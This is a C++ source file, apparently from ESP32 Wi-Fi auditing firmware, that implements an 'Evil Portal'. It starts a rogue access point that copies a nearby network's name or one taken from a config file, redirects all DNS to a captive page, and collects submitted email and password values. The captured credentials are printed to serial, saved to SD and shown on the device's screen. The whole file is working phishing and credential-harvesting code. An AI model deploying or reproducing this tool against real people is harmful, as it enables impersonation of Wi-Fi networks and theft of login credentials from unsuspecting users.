EvilPortal.cpp 9.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310
  1. #include "EvilPortal.h"
  2. AsyncWebServer server(80);
  3. EvilPortal::EvilPortal() {
  4. this->runServer = false;
  5. this->name_received = false;
  6. this->password_received = false;
  7. this->has_html = false;
  8. this->has_ap = false;
  9. }
  10. bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
  11. if (!this->setAP(ssids, access_points))
  12. return false;
  13. if (!this->setHtml())
  14. return false;
  15. startPortal();
  16. return true;
  17. }
  18. String EvilPortal::get_user_name() {
  19. return this->user_name;
  20. }
  21. String EvilPortal::get_password() {
  22. return this->password;
  23. }
  24. void EvilPortal::setupServer() {
  25. server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
  26. request->send_P(200, "text/html", index_html);
  27. Serial.println("client connected");
  28. #ifdef HAS_SCREEN
  29. this->sendToDisplay("Client connected to server");
  30. #endif
  31. });
  32. server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
  33. String inputMessage;
  34. String inputParam;
  35. if (request->hasParam("email")) {
  36. inputMessage = request->getParam("email")->value();
  37. inputParam = "email";
  38. this->user_name = inputMessage;
  39. this->name_received = true;
  40. }
  41. if (request->hasParam("password")) {
  42. inputMessage = request->getParam("password")->value();
  43. inputParam = "password";
  44. this->password = inputMessage;
  45. this->password_received = true;
  46. }
  47. request->send(
  48. 200, "text/html",
  49. "<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
  50. });
  51. Serial.println("web server up");
  52. }
  53. bool EvilPortal::setHtml() {
  54. Serial.println("Setting HTML...");
  55. #ifndef WRITE_PACKETS_SERIAL
  56. File html_file = sd_obj.getFile("/index.html");
  57. if (!html_file) {
  58. #ifdef HAS_SCREEN
  59. this->sendToDisplay("Could not find /index.html.");
  60. this->sendToDisplay("Touch to exit...");
  61. #endif
  62. Serial.println("Could not find /index.html. Use stopscan...");
  63. return false;
  64. }
  65. else {
  66. if (html_file.size() > MAX_HTML_SIZE) {
  67. #ifdef HAS_SCREEN
  68. this->sendToDisplay("The given HTML is too large.");
  69. this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
  70. this->sendToDisplay("Touch to exit...");
  71. #endif
  72. Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
  73. return false;
  74. }
  75. String html = "";
  76. while (html_file.available()) {
  77. char c = html_file.read();
  78. if (isPrintable(c))
  79. html.concat(c);
  80. }
  81. strncpy(index_html, html.c_str(), strlen(html.c_str()));
  82. this->has_html = true;
  83. Serial.println("html set");
  84. html_file.close();
  85. return true;
  86. }
  87. #else
  88. return false;
  89. #endif
  90. }
  91. bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
  92. // See if there are selected APs first
  93. String ap_config = "";
  94. String temp_ap_name = "";
  95. for (int i = 0; i < access_points->size(); i++) {
  96. if (access_points->get(i).selected) {
  97. temp_ap_name = access_points->get(i).essid;
  98. break;
  99. }
  100. }
  101. // If there are no SSIDs and there are no APs selected, pull from file
  102. // This means the file is last resort
  103. if ((ssids->size() <= 0) && (temp_ap_name == "")) {
  104. #ifndef WRITE_PACKETS_SERIAL
  105. File ap_config_file = sd_obj.getFile("/ap.config.txt");
  106. // Could not open config file. return false
  107. if (!ap_config_file) {
  108. #ifdef HAS_SCREEN
  109. this->sendToDisplay("Could not find /ap.config.txt.");
  110. this->sendToDisplay("Touch to exit...");
  111. #endif
  112. Serial.println("Could not find /ap.config.txt. Use stopscan...");
  113. return false;
  114. }
  115. // Config file good. Proceed
  116. else {
  117. // ap name too long. return false
  118. if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
  119. #ifdef HAS_SCREEN
  120. this->sendToDisplay("The given AP name is too large.");
  121. this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
  122. this->sendToDisplay("Touch to exit...");
  123. #endif
  124. Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
  125. return false;
  126. }
  127. // AP name length good. Read from file into var
  128. while (ap_config_file.available()) {
  129. char c = ap_config_file.read();
  130. Serial.print(c);
  131. if (isPrintable(c)) {
  132. ap_config.concat(c);
  133. }
  134. }
  135. #ifdef HAS_SCREEN
  136. this->sendToDisplay("AP name from config file");
  137. this->sendToDisplay("AP name: " + ap_config);
  138. #endif
  139. Serial.println("AP name from config file: " + ap_config);
  140. ap_config_file.close();
  141. }
  142. #else
  143. return false;
  144. #endif
  145. }
  146. // There are SSIDs in the list but there could also be an AP selected
  147. // Priority is SSID list before AP selected and config file
  148. else if (ssids->size() > 0) {
  149. ap_config = ssids->get(0).essid;
  150. if (ap_config.length() > MAX_AP_NAME_SIZE) {
  151. #ifdef HAS_SCREEN
  152. this->sendToDisplay("The given AP name is too large.");
  153. this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
  154. this->sendToDisplay("Touch to exit...");
  155. #endif
  156. Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
  157. return false;
  158. }
  159. #ifdef HAS_SCREEN
  160. this->sendToDisplay("AP name from SSID list");
  161. this->sendToDisplay("AP name: " + ap_config);
  162. #endif
  163. Serial.println("AP name from SSID list: " + ap_config);
  164. }
  165. else if (temp_ap_name != "") {
  166. if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
  167. #ifdef HAS_SCREEN
  168. this->sendToDisplay("The given AP name is too large.");
  169. this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
  170. this->sendToDisplay("Touch to exit...");
  171. #endif
  172. Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
  173. }
  174. else {
  175. ap_config = temp_ap_name;
  176. #ifdef HAS_SCREEN
  177. this->sendToDisplay("AP name from AP list");
  178. this->sendToDisplay("AP name: " + ap_config);
  179. #endif
  180. Serial.println("AP name from AP list: " + ap_config);
  181. }
  182. }
  183. else {
  184. Serial.println("Could not configure Access Point. Use stopscan...");
  185. #ifdef HAS_SCREEN
  186. this->sendToDisplay("Could not configure Access Point.");
  187. this->sendToDisplay("Touch to exit...");
  188. #endif
  189. }
  190. if (ap_config != "") {
  191. strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
  192. this->has_ap = true;
  193. Serial.println("ap config set");
  194. return true;
  195. }
  196. else
  197. return false;
  198. }
  199. void EvilPortal::startAP() {
  200. Serial.print("starting ap ");
  201. Serial.println(apName);
  202. WiFi.mode(WIFI_AP);
  203. WiFi.softAP(apName);
  204. #ifdef HAS_SCREEN
  205. this->sendToDisplay("AP started");
  206. #endif
  207. Serial.print("ap ip address: ");
  208. Serial.println(WiFi.softAPIP());
  209. this->setupServer();
  210. this->dnsServer.start(53, "*", WiFi.softAPIP());
  211. server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
  212. server.begin();
  213. #ifdef HAS_SCREEN
  214. this->sendToDisplay("Evil Portal READY");
  215. #endif
  216. }
  217. void EvilPortal::startPortal() {
  218. // wait for flipper input to get config index
  219. this->startAP();
  220. this->runServer = true;
  221. }
  222. void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
  223. len = str.length(); // Obtain the length of the string
  224. buf = new uint8_t[len]; // Dynamically allocate the buffer
  225. // Copy each character from the string to the buffer
  226. for (uint32_t i = 0; i < len; i++) {
  227. buf[i] = static_cast<uint8_t>(str.charAt(i));
  228. }
  229. }
  230. void EvilPortal::addLog(String log, int len) {
  231. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  232. if (save_packet) {
  233. uint8_t* logBuffer = nullptr;
  234. uint32_t logLength = 0;
  235. this->convertStringToUint8Array(log, logBuffer, logLength);
  236. #ifdef WRITE_PACKETS_SERIAL
  237. buffer_obj.addPacket(logBuffer, logLength, true);
  238. delete[] logBuffer;
  239. #elif defined(HAS_SD)
  240. sd_obj.addPacket(logBuffer, logLength, true);
  241. delete[] logBuffer;
  242. #else
  243. delete[] logBuffer;
  244. return;
  245. #endif
  246. }
  247. }
  248. void EvilPortal::sendToDisplay(String msg) {
  249. #ifdef HAS_SCREEN
  250. String display_string = "";
  251. display_string.concat(msg);
  252. int temp_len = display_string.length();
  253. for (int i = 0; i < 40 - temp_len; i++)
  254. {
  255. display_string.concat(" ");
  256. }
  257. display_obj.loading = true;
  258. display_obj.display_buffer->add(display_string);
  259. display_obj.loading = false;
  260. #endif
  261. }
  262. void EvilPortal::main(uint8_t scan_mode) {
  263. if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
  264. this->dnsServer.processNextRequest();
  265. if (this->name_received && this->password_received) {
  266. this->name_received = false;
  267. this->password_received = false;
  268. String logValue1 =
  269. "u: " + this->user_name;
  270. String logValue2 = "p: " + this->password;
  271. String full_string = logValue1 + " " + logValue2 + "\n";
  272. Serial.print(full_string);
  273. this->addLog(full_string, full_string.length());
  274. #ifdef HAS_SCREEN
  275. this->sendToDisplay(full_string);
  276. #endif
  277. }
  278. }
  279. }